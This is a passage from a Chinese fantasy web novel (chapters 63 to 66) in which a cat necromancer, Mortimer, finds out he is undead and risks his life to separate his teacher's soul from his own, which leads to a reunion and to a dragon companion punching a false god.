不熟悉他的人在看到他的第一眼往往心生敬畏。 不愧是掌握了无数禁咒,无论什么魔法都能信手拈来的传奇大法师! 而绝不会因为那身可爱的皮囊而将莫特默视作一只单纯的猫。 但熟悉他的人知道,只要你轻轻唤一声“莫特默”,那双望过来的金色眼眸依旧会像五年前那样明亮又生机勃勃,偶尔又划过一道狡黠的光。 他依然是那个莫特默。 而在一个枫叶落下的午后。 终于。 莫特默的研究有了突破和新的发现。 那些纠缠他无数日夜的难题,像是被秋风扫开的落叶一样,再不能困扰他。 他创造出了一个前所未有的魔法: 在某个法则的见证下,他可以通过献出自己一半灵魂来进行交易,只要对方同意,就可以获得对方的一半灵魂。 而契约一旦成立,达成契约的两方从此共享彼此的一切,即便契约中任何一方的灵魂之后有所缺失,彼此之间的链接也无法被断开。 但也与此相对的,从此之后,一旦其中有一方死亡,另一方也会跟着一起死亡,是真正意义上的同生共死。 这个魔法是专门针对灵魂,或者说是死灵的魔法,无视空间的距离,无视帷幕的阻拦,最令人惊讶的,是这个魔法几乎不需要多少魔力。 如果有其他人学会了这个魔法,即便是没有多少魔力的普通人,甚至都可以利用这个魔法,通过付出自己的一半灵魂和生命,将身体还未腐烂的死人“复活”。 研究有了突破的那天,莫特默难以自禁地露出欣喜的表情。 成功了。 只要通过这个魔法,龙就能回来了! 他站起身,想要欢呼,想要和其他人分享自己的喜悦,但又忽地停住。 现在研究成功了,将亥伯龙带回来的方法有了,他只剩下一个问题,那就是…… 一个小小的。 一个非常,非常小的。 意外发现。 莫特默:…… 莫特默:…………… 他忍了忍,还是没忍住,脸上流露出复杂的表情,复杂到像是突然发现自己不是奶牛猫,而是三花猫一样。 随着研究完成,他对死灵魔法也有了更深的理解,那些曾经模糊不清的边界,那些他一直视为理所当然的前提,都在这一刻变得清晰无比。 他站在了更高的维度,俯瞰着自己毕生钻研的领域,然后他就发现了 ——他自己为什么也会是死灵啊?!?! 想到这,莫特默就由衷地感到一阵窒息。 家人们,谁懂啊,学习死灵魔法学习了一辈子,甚至超越原有的框架自己创造了新的死灵魔法,步入了更高的境界,说一句死灵魔法大师不为过,结果到头来,发现…… 惊不惊奇,意不意外。 莫特默,你,对,就是你,通过你自己的研究,从你自己的灵魂和身体之间的关联得出了结论: 你,其实是一只死灵。(严肃) 莫特默:…… ……这对吗? 这合理吗? 而且先不提这个结论诡不诡异, 他的灵魂深处,似乎还有着什么奇怪的东西在。 那是什么? 他创造的魔法要求施术者灵魂的一半。在他搞清楚那是什么前,可不能随随便便将其交易给亥伯龙啊! 莫特默头皮发麻,大为震撼,头一次觉得自己如此无助,而死灵竟是如此陌生的东西。 第64章 事情怎么会变成这样的呢? 如果他自己就是死灵, 他又怎么会到现在才发现? 可事情就是这么奇妙,就像是莫特默知道NaOH+HCl→NaCl+H2O一样,但知道归知道,实际看上去, 两瓶无色的液体混合依旧是一瓶混合的透明液体, 莫特默根据理论知识, 知道酸碱在混合后发生了变化, 已经变成了盐水,但除非用指示剂, 他是看不到的。 所以透明的液体明明就在那, 但莫特默浑然不觉。 而现在, 他看到了。 原本毫无分别的透明在如今的他眼中明显到可以一眼区分。 这不看不知道, 一看吓一跳。 任何生灵,灵魂和躯体之间都有着一层几不可察的缝隙, 因为任何生灵都是先有了肉.体, 再有灵魂在□□中酝酿生长, 逐渐长成□□的模样, 填充了自己的身体。 但再怎么长, 也不可能完全贴合,就像在脚上穿了鞋一样, 脚再大, 鞋子和脚之间也会有那么一丝空隙。 而灵魂和躯体之间毫无缝隙只有一种情况, 莫特默也见过这种情况 他们的身躯是根据灵魂后天编织,所以可以像是完全量身定做的高定礼服一样, 严丝合缝地贴合灵魂。 这种情况听起来是不是有点耳熟? 没错,是死灵,只有死灵会这样。 那谁来告诉他, 为什么他的灵魂也和身躯严丝合缝,他的身躯也是后天定制的?! 根据这套理论,他,莫特默,其实早就死过了,是一只死灵?! 可这怎么可能,他是死灵的话,谁给他编织了身体,是谁在给他提供在现世活动的魔力,他又哪来的魔力:召唤别的死灵?! 而且在他灵魂深处的那抹奇怪的色彩是什么? 一个人的灵魂可以有很多色彩,但整体是和谐的,但在他的灵魂深处,却有着一抹格格不入的颜色,像是有另一个灵魂在他体内。 但莫特默发誓,即使是穿越前最缺魔力的阶段,他也没有去吃其他人的灵魂来补充魔力! 而且哪来的灵魂可以被他吃这么久都没消失,又不是神…… ……神? 莫特默蓦然微怔。 不,不一定是神。而是…而是某个强大到近乎神的存在。 一瞬间,莫特默之前一直没有想过的很多事纷乱地划过他的脑海。 他明明不是魔法生物却能使用魔法,伪神不停收集灵魂积攒魔力的行为,老师最后对他说的话,他意外发现自己竟是一只死灵,他之前误会了的亥伯龙不能被他召唤的原因…… 一个一个碎片在莫特默的脑海中像是拼图般拼接,某个答案呼之欲出。 莫特默嘴巴动了动,声音轻得几乎听不见:“老师……?” ……如果,老师其实从没有对他说过谎,他成为最厉害的死法时他就会回来, 如果他作为死灵却能一直如常活动,也没发现异常,是因为有人在源源不断地为他提供魔力, 如果他不能召唤老师不是因为老师已经魂飞魄散了…… 一场死灵召唤魔法明明可以成功,却失败了,会是什么原因? 那是因为。 莫特默怔怔地想。 这名死灵,已经在你身边了。 小小的心脏在这具身体中用力搏动着,一下,又一下,像是有人正隔着时空,隔着生死,隔着一切不可逾越的界限,轻轻敲着他的胸膛。 阳光下,莫特默被晒得眯了眯眼,情不自禁咧开一个傻乎乎的笑容。 某种轻盈的快乐和幸福像是花花绿绿的气球般填满了小猫的心,让他爪尖痒痒的,不由自主地想要做些什么。 明明已经四肢抽条长成了一只威风凛凛的大猫,明明已经成为世人眼中神秘又有威严的传奇法师,明明已经厉害到可以自己创造出前所未有的新魔法。 莫特默却在原地开始踩起奶来。 软乎乎地爪子踩在屁股下的资料上,粉色的肉垫张开又缩回去,两只爪子交替地跺在桌面上,明明踩的是坚硬冰冷的纸面,却像是一只无忧无虑的小猫般踩得不亦乐乎。 他的尾巴尖轻轻晃动着,耳朵随着自己的节奏一颤一颤,喉咙里甚至发出细微的,几乎听不见的呼噜声。 好在只是踩了一会儿,莫特默就重新想起正事来。 如果真的是老师一直没有离开他,一直陪着他,在他灵魂深处为他提供着魔力…… 他知道怎么做了。 莫特默脸上的笑容渐盛,笑意从嘴角一路蔓延到眼角,最后化作眼底细碎的光。 ——他要剥离那道灵魂。 不仅是为了再一次见到老师,也是为了能在之后施展与亥伯龙的灵魂契约。 想到就去做,莫特默转身跑出堆满了资料的研究室,就去找其他死灵。阳光在他身后拉出一道长长的影子,那影子活泼地跳跃着,带着掩饰不住的雀跃。 “阿利斯,我的研究成功啦!” 莫特默跑过走廊,朝客厅里的阿利斯泰尔高声分享道。 阿利斯正在打游戏,闻言眼睛一下子亮起来,回过头惊喜道:“真的吗莫特默!你太厉害了!” 他放下手柄,站起身想追问什么,莫特默已经像一阵风似的从他面前刮了过去。 “塞拉,我成功了哦!” 莫特默穿过阳台,朝在大楼外背光一面,正在与其他魔法生物们说话的塞拉菲涅喊道。 塞拉菲涅微愣,转过身,红唇缓缓勾起一个弧度:“恭喜您,莫特默大人。” “瑟兰,我马上就要将亥伯龙带回来啦!” 莫特默又窜回室内,朝正在和维萨罗斯下棋的瑟兰迪尔炫耀道。 瑟兰迪尔下棋的动作没有任何停顿,修长的手指夹着国际象棋稳稳落下,闻言淡淡道:“那头龙也是走了狗屎运,便宜他了。” 然后莫特默又看向维萨罗斯,他知道,那把伪神用来刺伤他的刀在最后是被维萨罗斯收起来了。 “那把伪神的刀给我用用呗!”莫特默兴冲冲地说。 维萨罗斯没有睁眼,但莫特默就是能感知到那双眼镜后的眼看了过来。 维萨罗斯看了莫特默几秒,眯眯眼似乎睁开了一瞬又闭上,其中闪过了什么,可似乎又只是一种错觉,他毫无异状地弯起唇角:“好呀。” 说完,他就抬起手,手伸入身旁蓦然打开的一个小型的梦魇空间中。 反倒是瑟兰迪尔停下动作,侧头看过来:“你要那个做什么。” “切灵魂!”莫特默答得理直气壮。 他说了自己的推断,以及只有这样做,他才能去实施自己创造出来的魔法,语气中甚至带着点跃跃欲试的兴奋。 瑟兰迪尔:“……” “找死?”他慢慢地说。 依照莫特默的说法,不管那个灵魂是不是他的老师,将那个灵魂剥离出来,简直是在用自己的命去赌一个未知。 没有那个灵魂的供养,没有魔力后续持续的支撑,莫特默只会有一个下场。 死。 本来供养死灵其中一方就必须是活人,因为魔力虽然蕴藏在灵魂中却需要□□才能将其施展,用魔法在两人之间建立一条链接,一方为另一方供魔。 按道理来说,如果莫特默真是死灵,在他老师死的那一刻,莫特默也会因为联结消失,没了魔力供给跟着身躯消散。 但他的老师钻了一个空子。 虽然□□死亡,但他将一缕灵魂投入莫特默的身体,就像是被莫特默吞噬的灵魂一样,代替原本的契约供魔。 就这样,莫特默的身躯一直维系了下来,甚至那道灵魂一旦察觉身体内魔力少了,就狠狠供魔,也就造成莫特默可以肆意挥霍魔力的场面。 而现在,这个不知死活的家伙想把发电站拆了。 一旦那道灵魂脱离,支撑了莫特默这么多年的魔力供给就会瞬间中断。身体里储存的魔力会在极短时间内耗尽,然后…… 没有然后。 莫特默会成为一具真正意义上的尸体。不,连尸体都不会有。 瑟兰迪尔面色淡然。 ……当然,理论上也存在着一种微乎其微的可能性可以让莫特默活下来。 如果莫特默在那道灵魂脱离的瞬间,在体内的魔力彻底干涸之前,以“生者”的身份与对方达成死灵契约,由他为那道灵魂塑造一副新的躯体,再由对方用新的身体建立反向供魔通道,继续为他提供魔力。 这样一来,莫特默和对方就能实现互相为彼此供魔,为彼此维系身躯的循环,以此活下来。彼此为锚,彼此为源,在死亡的边缘维系住对方的生机。 理论上完美,但实际上……想要做到几乎是不可能的。 “几乎”。瑟兰迪尔想。 瑟兰迪尔开口:“就让亥伯龙等着吧,比起忽然回到帷幕之后,他应该会更情愿这么等着。” 维萨罗斯已经将那把刀拿了出来。 那是一柄极薄的短刃,刀身在灯光下泛着冷光。 他听到瑟兰迪尔的话,连眼睫都没有抬一下,只是将那把刀递到了莫特默面前,动作甚至称得上随意,仿佛递过去的只是一支笔、一本书,或者任何一件无足轻重的东西。 莫特默:“不,我已经决定好啦。” 他语调轻快,也像是一点也没有意识到事情的严重性一般,跳起来接过维萨罗斯手中的刀,一溜烟屁颠屁颠地就走了。 那迫不及待的背影不像是他要去用口中衔着的刀伤害甚至杀死自己,而是要去赴某个期待已久的约。 棋盘前的瑟兰迪尔和维萨罗斯望着莫特默消失在拐角的背影。 少顷,瑟兰迪尔突然道:“你早就想到了?” “嗯?”维萨罗斯发出一道疑惑的音:“想到如何,没想到又如何?” 他捞起棋盘上的一枚棋子,饶有兴致地在指尖转过来转过去地看。 “为什么不阻止他。” 维萨罗斯像是听到什么有意思的东西,笑了一声。 “阻止……?”他重复这两字,抬脸看向对面的瑟兰迪尔,“我吗?” “相处了这么久,你还没发现?” 他哼笑着,唇角缓缓勾起一道弧,那不是善意的弧度,而是某种剖开表象直抵内核的、近乎残忍的欣赏,让瑟兰迪尔的眉峰不自觉蹙起。 “我们这位小小的主人,可是很有主见,很有行动力,又很……” 他的声音低下去,咬字却愈发清晰, “疯狂的。” 在决定了要学习死灵魔法后,废寝忘食,短短几个月将所有知识囫囵吞入脑中,在认定了自己只是没有达到老师的要求,不是召唤失败后,没有一刻停下自己前进的脚步,在决定了要将亥伯龙带回来后,为了做实验无数次剜下自己的灵魂。 哎呀,你认为那些千百次的实验和研究室里堆积如山的数据是从哪里来的呢? 都是莫特默一遍又一遍,在自己身上做实验得来的。 在此期间,他遭受了无数次魔法反噬以及灵魂受伤的阵痛。 灵魂上的伤和肉.体上的伤可不同,它不会在你受伤的那一刻就发出惨叫,不会流血,不会结痂,也不会在愈合时发痒。 而是在某个深夜,在某个无法预料的时机,冷不丁地发作,像是牙痛,像是风湿,却又比那更恶心,更阴毒,让你大脑炸开,让你痉挛着剧痛,恨不得将作痛的地方剜掉,却浑身上下找不到一个伤口。 即便如此,莫特默也要去做。 那他又为什么,又有什么资格去阻拦莫特默? 维萨罗斯靠回椅背,双臂交叠,姿态闲适得近乎慵懒。可那双眼睛里的光,却亮得有些骇人。他唇角的笑意如潮水般蔓延开来,浸透了整张面孔。 成功了也好,失败了死了也罢,这都是莫特默选择的道路,而他期待着…… 莫特默在最后,会拥有一个怎样的结局。 维萨罗斯再压不住喉间涌上的笑意,那笑声从胸腔深处滚出来,低低的,沉沉的,却带着某种令人脊背发寒的愉悦。 瑟兰迪尔对此评价道:“神经病。” 但这样说着,他没有从座位上站起,没有追出去阻止莫特默,而是重新捏上棋盘上的棋子。 虽然对维萨罗斯游戏人生般的态度不敢苟同,那家伙看什么都像是在看一场戏,连生死都能当成下酒菜。 但既然莫特默已经下定了决心,不会对自己的决定感到后悔,那他自然没必要去自作多情。 他见过太多嘴上说着“我意已决”的人,也见过太多在最后关头眼神游移的人。但莫特默不一样。莫特默说那句话的时候,眼神是直的,是平的,是在看向很远很远的地方。 他,他们都尊重莫特默的选择,即便这会是一条十死无生的道路,一个决定莫特默和他们命运的瞬间。 这个时刻的到来不会太慢,也不会太快,可能连他们手上的这盘棋没下完,就会有结果。 而他们要做的,能做的,也就是在这等待,等到那一刻的到来。 “还有,”瑟兰迪尔头也不抬, “把你手中藏起来的那个棋子拿出来。” 对面的动作顿了一顿。 “再敢偷棋子,老子**了你。”他说。 …… 另一头, 莫特默叼着匕首,回到了自己的研究室。 他匆匆忙忙地跑到镜子前放下嘴中的刀,舔舔毛,又用爪子梳理了自己一番。 镜中的奶牛猫和之前已经有了不小变化,但依旧是世界最可爱的猫。 莫特默心中既是充满自信又有些忐忑。 他知道他的做法有风险,并且是很大的风险吗? 他知道。 他都想过了。 那还要做吗? 他必须做。 就是……老师出来后,会很生气吧? 莫特默有些心虚地想。 想着,莫特默毫不犹豫给自己来了一刀。 像是将已经黏合的血肉撕开,又像是把一条烧红的铁丝从血管里一寸寸抽出来,莫特默痛得眼神发虚,但爪子依旧很稳。 他精准地在不伤害到那道灵魂一丝一毫的前提下,将其一点一滴慢慢剥离了自己的身体。 痛。 太痛了。 痛到他几乎听不见自己的呼吸,痛到他以为自己下一秒就会昏过去。但在这剧烈的,撕裂灵魂的剧痛中,莫特默却是笑着的。 因为他能感受到,能“看”到,那道灵魂正缓缓从他的身体中浮现。 先是若有若无的轮廓,再是一缕缕游动的光。它从他胸口溢出,像潮水退去后终于露出水面的礁石 就在其彻底脱离他身体的那一刻,巨量的,积攒了五年的魔力如泄洪般倾泻而出,一股脑地灌注向那道灵魂。 但与他往常与死灵的沟通不同,魔力传递过去石沉大海,灵魂吸收了魔力,却没有一丝一毫的回应,就像是这道灵魂已经彻底没有了自己的神智,只是单纯一块会发电的电池。 但莫特默清楚,不是的,是他付出的魔力还不足以契约对方,还不足以为对方塑造一个能容纳这个灵魂的躯体。 由于魔力的灌注,那个被剥离而出的灵魂逐渐被填充出色彩,一个半透明的男人缓缓成型,半浮在半空中。 长发,闭着眼,眉目温和。 莫特默的心狠狠一震 没有错……老师,是老师! 随着莫特默持续不断地注入魔力,那具半透明的身躯逐渐发出光来,但这样还不够,远远不够,那光芒还不够稳定,那轮廓还不够清晰。 再给,再给一点。 莫特默能感受到自己的魔力在飞速流失,力量在逐渐变得虚弱,他与其他死灵的契约也开始晃动。 由于灵魂的剧痛,莫特默无法分辨自己的身体是不是因为被大量压榨魔力而在抽动,但他能感受到自己的感官在变得麻木。 这并不是一件好事,这代表着他的灵魂衰弱了下去,他的灵魂与身体之间的连接在减弱,再这样下去,他会…… “啪嗒” 棋子落在棋盘上,发出清脆的声音,又咕噜咕噜地从棋盘滚到桌面边缘,掉到地上。 维萨罗斯叹息一声,慢悠悠地放下了手中的棋:“来了。” 坐在他对面的瑟兰迪尔已消失不见。 由于莫特默魔力的剧烈流失,他已无力维持与死灵的契约,最先离开的是瑟兰迪尔。 接着,就在维萨罗斯将手中的棋子放在桌面上的一瞬间,那只握着棋子的修长手指静静地消失在空气中。 两张座椅上空荡荡的,桌面上只留下还未完成的棋局,黑白色的棋子静静对峙,仿佛棋手们只是暂时离开,很快就会回来。 大楼外,塞拉菲涅若有所感地回过头,脸上却没什么意外的神色。 即便是隔着一栋大楼,也无法阻拦她听到莫特默和维萨罗斯之间的对话。所以,莫特默那段话与其是说给维萨罗斯听的,不如说是说给所有死灵听的。 但这不是告别,是宣战,是莫特默在告诉他的死灵们,他要独自去战胜一个属于他自己的困难。而你们不用担心,因为他必定会凯旋! 所以,所有的死灵也默认了莫特默接下来要做的事,静静等待着结局的到来。 一阵风刮过,海妖族的女皇像是海面上化成泡沫的小美人鱼,无声无息地消失在了阴影下。 最后,是坐在客厅打游戏的阿利斯泰尔。 他在听到莫特默和维萨罗斯的对话后就静静地靠在沙发上,神色出乎意料地舒朗,甚至有点欣慰。 他相信莫特默,他一直相信着,莫特默会战胜所有困难,会在接下来战胜自己的死亡,会与自己的老师团聚,会将亥伯龙带回来。 所以,这不是永别,而是为了之后更好地相聚。 客厅里游戏的音乐依旧欢快地响着,可对面的沙发上,只有一把游戏手柄无言地躺在那里。 …… 研究室内,莫特默剧烈地喘息着,喉咙涌上一股腥甜,所有死灵和他的契约都断开了,可即便如此,不够,还是不够。 即便如此,他的魔力依旧不够满足契约老师的要求,为老师构建出他的躯体,唤醒对方的意识。 老师的灵魂就是一个永远填不满的无底洞。他能感觉到自己的魔力正在枯竭,正在被抽干,就像一口即将见底的井,井底只剩下干裂的泥土。 莫特默身体发抖,眼前变得模糊。 再这么下去,他的身躯就要消散,他就要真正的死了。 要放弃吗? 时间好似被拉长,一秒慢得像一个世纪,他能听见自己的心跳,一声,两声,三声,越来越慢,越来越弱。死亡在他耳边偶偶细语,用温柔的声音劝他放手,劝他休息,劝他闭上眼睛。 不! 莫特默的眼中泛出炙热的光。 他是莫特默。 他是这个世界上最厉害的死灵法师。 在这场死灵法师和死灵之间的博弈中, 他会赢!!!! 赌上他的一切,他的魔力,他的生命,他的灵魂—— 莫特默一鼓作气,拼尽所有,毫不留情地榨取着自己的魔力,他死死睁着眼睛,盯着那团越来越亮的光芒。 “来——!!!” 老师,你听见我的声音了吗? 巨大的魔力洪流中,光芒刺得人睁不开眼。 那光芒中,金色长发男人的睫毛微微颤动了一下。 与此同时,世界各地所有的魔法师都不约而同,像是感受到了什么地抬起头,露出迷茫的表情。 第65章 莫特默感到自己轻飘飘的, 像一片羽毛,像一缕烟。他在平静的海面上漂浮,身下有温软的触感起伏如波浪。一阵由衷的安宁从心底升起,所有的痛苦与疼痛都退潮般远去。 他像是在午后晒着暖洋洋的太阳, 又像是在被一下一下温柔地梳着毛。 他这是……死了吗? 这个念头迷迷糊糊地浮上来, 又软绵绵地沉下去。 原来死后, 是这种感觉呀。 也不错。 虽然最后还是失败了, 但他并不后悔,就和亥伯龙曾说的一样, 他的一生中没有任何后悔的事, 只是有点遗憾。 他失败了, 那亥伯龙也回到灵魂殿堂了吧, 真可惜,没能再见对方一面。 还有老师…… 他想到老师那双碧绿的眼睛, 想起在法师塔的日夜…… 可能是因为铭刻着他所有记忆情感的印记正在轻轻地, 缓缓地飘向帷幕之后, 莫特默的一生在他的身下, 他的周围像是倒放的电影又像是走马灯一般急速回溯。 从刚刚发生的一切到他刚穿越到现代时的片段, 再往前到他在法师塔的日子,最后…… 是他早就忘了的, 最初的最初, 他看到这个世界的第一眼。 在一片不知时日的混沌中, 他忽然感觉自己有了知觉,于是睁开了眼。 什么是眼?他不知道, 他只知道他出现在了这里,而面前的男人是他见到的第一个生物,也是……将他唤醒的人。 他对周围感到好奇, 也对面前这个男人感到好奇。 但他现在最想知道的,还是他自己。 他看着对面那个男人碧绿色的眼睛,看着其中如湖面般倒映出的一团模糊的黑白色块。 “Mortimer……”他听到这个男人说。 莫特默?这是他的名字吗? 他懵懵懂懂地将自己的“一部分”蔓延了过去,得到了名字后又渴望地朝男人问:“我……是什么?” 男人望着他。 望着这个庞大的,汇聚容纳了无数远古生物灵魂碎片,但竟有了自我意识的,帷幕后传说中的无生命之海/源质之海(Mortimer*mort=死,mer=海),眼神中流露出某种复杂的色彩。 如果说帷幕后的灵魂殿堂是灵魂安息之地,是印记的铭刻之地,那么源质之海就是沉寂的,吞噬灵魂之地。 总有灵魂不完整,总有灵魂不被任何人铭记,总有灵魂还未出生就已死亡,而这些无意识的灵魂没有印记,不会进入灵魂殿堂,而是流入源质之海,然后缓缓消融。 这样一个世界的“深渊”,真正的死亡之地,竟然能孕育出一个纯白的灵魂。 几秒后,他忽地嘴角弯起,温和地说: “你是一只可爱的小猫咪。” “小猫咪?”▇▇▇吃惊道。 他,他是一只小猫咪? “是啊,小猫,你愿意跟我回家吗?” 说着,男人伸手,将半空中的他抱进怀中,温热的手拂过他的“身躯”,▇▇▇的视野忽地降低,再也无法看到周围360度视角,视野也变得狭窄,他顿时有些慌张地回身,然后看到了自己白色的尾巴尖和粉色的肉垫。 啊。▇▇▇的动作顿住了。 原来如此,这就是猫咪。 原来如此,他就是一只叫莫特默的小猫咪呀! 小小的猫伏在男人的怀中,高兴地抖了抖胡须,用力点了点头。 于是,名叫莫特默的小猫跟着男人回到了法师塔,开始了自己作天作地的日常。而那名男人,也成为了小猫的老师。 原来……他和老师的初遇是这样的啊。 那他死后,是会回到死海,还是会到灵魂殿堂? 莫特默胡思乱想着,思绪像是想抓但抓不住的碎片飘浮着,昏昏沉沉间,他感到自己仿佛化开了,手脚都不再属于自己,只剩下一点意识轻轻晃荡。 “莫特默……” 忽然间,他恍惚地听到有人似乎在唤他。 ……谁? “莫特默……莫特默……?” 干嘛呀……他好困。 “……别跑太远,该回来啦……” 啊,是老师的声音。 他下意识应声:“知道啦。” 下一秒,一股强大的吸力不知从哪传来,天旋地转。 莫特默猛地睁开眼,面前是老师的面容,身体也沉甸甸地,完全没有之前那种感觉不到手脚,轻飘飘的滋味。 阳光从窗户斜斜地落进来,落在老师肩头,也落在他身上,暖暖的。 “……老师?”他呆呆地看着那张近在咫尺的熟悉面庞,没反应过来。 “哎。”老师笑着应道。 “老师?” “哎。”老师又耐心地应了一声。 “老师!” “哎。” “老师老师老师!!!” 老师纵容地笑起来,接住一头向他撞来的莫特默。 熟悉的温度,熟悉的气息,熟悉的怀抱。 “在这儿呢。”他说,声音低低的,带着笑意,像很多很多年前一样温柔,一样令人安心。 莫特默窝在老师怀里,乖得不像话。方才那个说要堵上一切的死灵法师不见了,那个被无数人敬畏传奇大法师也不见了。 他蹭了蹭,调整到一个更舒服的姿势,一瞬间就似乎变成了小猫,喵喵咪咪地,带着点委屈就开始控诉: “老师老师,” “你怎么可以什么都瞒着小猫呀!” “是老师的错。”温暖的掌心落在莫特默身上,带着让人平静的力量。 莫特默眯起眼,然后想起了什么,又开始道: “老师老师,我现在可是可以召唤数名死灵的死灵法师了,还被其他人叫作传奇大法师哦!” “莫特默真厉害。”上方的声音欣然地说,带着由衷的赞许。 “我还交到了好多朋友!” “莫特默这么好,大家当然都会喜欢莫特默的。” “就是有个自称是神的坏东西,刺了我一刀,让亥伯龙……就是我的一个……朋友,离开了我,我还暂时没能彻底给他个教训。” “那老师给你报仇。” 简单七个字,没有问对方是谁,没有问有多危险,像是天经地义,像是理所当然。莫特默顿时像是在冬天喝了一壶温水般舒畅。 “还有还有,那个坏东西说,什么大寂灭就要来了,到时候大家都得死。” 莫特默眨着眼看老师,等着答案。 在他心中老师无所不能,这个所谓的大寂灭老师也一定也有办法! 老师自然没有让他失望,闻言后没有露出任何惊诧的神色,只道:“大寂灭……不用担心,老师有办法。” 莫特默便安心了。于是他又继续絮叨起来,零零碎碎的,想到什么说什么,这些年见过的风景,遇过的人,学过的法术,走过的路…… 老师句句有回应,偶尔问上一两句,偶尔只是静静地听,偶尔轻轻笑出声。阳光在房间里缓缓移动,尘埃在光柱里缓缓飘浮,时光在这一刻变得很慢,很慢。 良久,直到莫特默要说的都说完了,甚至说得有些口干舌燥,才缓缓安静下来。 老师静静地抱着他,莫特默将头枕在老师的手臂上,安静地扑闪眼睛。 房间里一时间只剩下极轻的呼吸声。 少顷,他轻轻地问:“老师,你来见我了……那是不是意味着,我已经成为世界上最厉害的死灵法师,成为你的骄傲了?” 说这话时,他眼睛里藏着期待,也藏着一丝不易察觉的忐忑。 “不。”老师说。 莫特默一愣。 “你无需成为任何人。”老师低下头,看着怀里的莫特默,目光温柔得像融化的雪水, “你本身就是我最大的骄傲。” 莫特默心中猛地一酸,可与此同时,另一种巨大的安心感包裹着他,让他情不自禁放松下来。 就在这时,他的身体忽地被托高,一个气息轻轻地落在他的额头。 是老师温柔地吻了他的额头一下,一如告别前。 “做得好,莫特默。”老师夸奖道,“你已经成为一个可以独当一面的大猫了,我真为你感到高兴,那些你口中的困难,一定也难不倒你,” “但既然现在老师在这……” 他伸出一只手,往空气中轻轻一抓,随意得像从树上摘下一片叶子。 “有些事情就让老师帮你解决吧。” 刹那间,一只有着诡异斑点的黑色大虫被他从虚空中硬生生拽了出来。 莫特默眼睛微微睁大。 伪神? 莫名凭空被抓在手里的伪神也明显愣住了,随即他疯狂挣扎起来,可无论他怎么挣扎,都挣脱不开那只只是轻轻扣住他的手,像是被老鼠夹夹住的大耗子,挣脱不能。 他猛地回身,想去咬抓他的那个人,在看到莫特默后他眼中闪过一丝惊恐,又变得愤怒。 莫特默顿时精神一振,乐道:“逃啊,不是很会逃吗。看你往哪里逃!” 伪神冷笑:“你真以为抓住我了?我只要随意夺取一个信徒的身体,你……” 他脸色唰地一变,“你做了什么?!我为什么走不了?!!” 莫特默的笑容愈发邪恶,故意压低声音,发出桀桀怪笑:“桀桀桀,叫啊,叫破喉咙你也逃不掉!” 伪神这才看向抓住他的那个人,“精灵王?……不,你是谁?!” 莫特默趾高气扬地说:“这可是我的老师,第一代传奇大法师!” “什么传奇……”伪神忽然怔住,随即像是被雷击中般浑身剧颤,他神色变得骇然,本就大的眼白凸起得像是青蛙一样,“你,你是……不,不可能。” “你不是……不是说你为了推迟大寂灭,已经彻底消散在世界上了吗?!!!” “即便是神,也不可能死而复生!!!”他尖叫。 “不,我不是神。”老师声音平静,轻轻松松地说,“我是传奇大法师。” 说着,他的手掌缓缓收拢,就要杀死手中的害虫。 莫特默敏锐地察觉到老师的意图,几乎是下意识喊道:“等等!” 看着老师投来的疑惑目光,莫特默想到自己要说什么,顿时有些支支吾吾起来。 “就是……那个……”莫特默的眼神飘忽,声音也低了下来,方才的嚣张气焰消失得无影无踪,“我答应亥伯龙……要让他看着对方死去的……能不能等一下再……” 老师神色蓦然微怔,随即放松地笑开来。 他神色有些忍俊不禁,也有些欣慰,“我们的莫特默也有想要讨欢心的对象了呢。” “啊!!!” 莫特默彻底恼羞成怒,急急辩解道, “才不是!亥伯龙只是我的铲屎官,对,一个比较顺眼的仆从罢了!” 老师失笑:“真的?” 莫特默的声音拔高了好几个度:“只是仆从,仆从!” 老师终于忍不住笑出声,他笑了好一阵,才勉强收敛了笑意,“那么,让我见见他吧。” “见见那个亥伯龙。”他认真地说。 见……莫特默这才惊觉,自己现在将老师的灵魂从自己身体内剥离了出去,魔力也恢复了充盈的状态,这么来说,他现在完全可以使用他自己创造出来的那个魔法召唤亥伯龙了。 可是,要在现在吗? 莫特默心中只是迟疑了不到半秒,就下定了决心。 见,为什么不见,亥伯龙又不是什么很拿不出手的东西! 别的不说,亥伯龙长得还是很能唬人的! 想着,莫特默张了张嘴。 怎么使用那个魔法他已经了然于心,但要说什么呢…… 在使用魔法时说的话一般是请求和死灵沟通,和死灵说明情况,以求死灵达成和自己的交易,那他该怎么和亥伯龙说? 说我这么久没召唤你不是故意的,是因为保有我们链接的灵魂不见了?说我为了把你带回来,绞尽脑汁创造了这个魔法?说我接下来要付出一半的灵魂,相对的,你也要付出一半,龙你同意一下? 话在舌尖打转,滚烫又沉重。 他垂下眼,毛茸茸的爪无意识地蜷了蜷。 半晌,莫特默也只是轻轻唤道:“亥伯龙……” 这声的呼唤和他之前任何对亥伯龙的呼叫相比,都显得过于轻柔。 可话音落下的第一时间。 风起了。 不,等等。 那不是柔和的风,而是风暴!!! 一个拳头裹着猛烈的拳风轰然直直揍在伪神的脸上。 拳风所过之处,空气都要发出尖锐的悲鸣! “噗——!” 伪神的脸随之狠狠凹陷下去,他在空中停滞了一秒后,伴随着音爆的声音,猛然向后飞去,狂暴的气流卷起莫特默身上的毛和就在一旁的老师的金色长发。 老师攥着伪神尾巴的手,都被这霸道的力量带着不由自主地向后滑了半寸。 狂风渐息,伪神凄惨地耷拉下来,在老师手中像是一个放了气的气球,又像是一个破破烂烂的麻袋。 亥伯龙收回刚刚出拳的拳头,骨节发出轻微的咔嚓声。 他扯了扯嘴角,刚想冷笑着说什么,余光便瞥见一旁莫特默和一名长相神似瑟兰迪尔那家伙的男人。 一大一小,金色和绿色的两双眼睛瞪得滚圆。 莫特默和老师都眼睛睁得大大的,呆滞地看着亥伯龙。 但这不是重点。 莫特默身上的毛被风吹得根根炸起,一簇簇支棱着,直接蓬松了一倍,活像一只被雷电劈过的毛球。 而抱着莫特默的男人也好不到哪里去。 那头平日里顺滑的金色长发此刻凌乱地翘起,几缕从额前垂落,几缕从耳后炸开,剩下的,全都在空中定格成一个狂野的弧度,活像刚做了杀马特造型。 他攥着伪神尾巴的手还僵在半空,脸上那种呆滞的表情,和他怀中的毛球如出一辙。 两张表情格外同步,简直一模一样的脸一同望着亥伯龙。 莫特默&老师:…… 亥伯龙:………… 一阵风恰到好处地吹过,卷起老师头上翘起的,像是根呆毛的头发,在空中轻轻晃了晃。 第66章 不过一秒, 亥伯龙就反应过来了眼前的男人是谁,也明白了现在是什么情况。 但…… 他的眉心微微抽动了一下,什么话都说不出,竟就这么站在了原地。 亥伯龙陷入了沉默。 一秒, 两秒…… 空气仿佛凝固成了透明的琥珀, 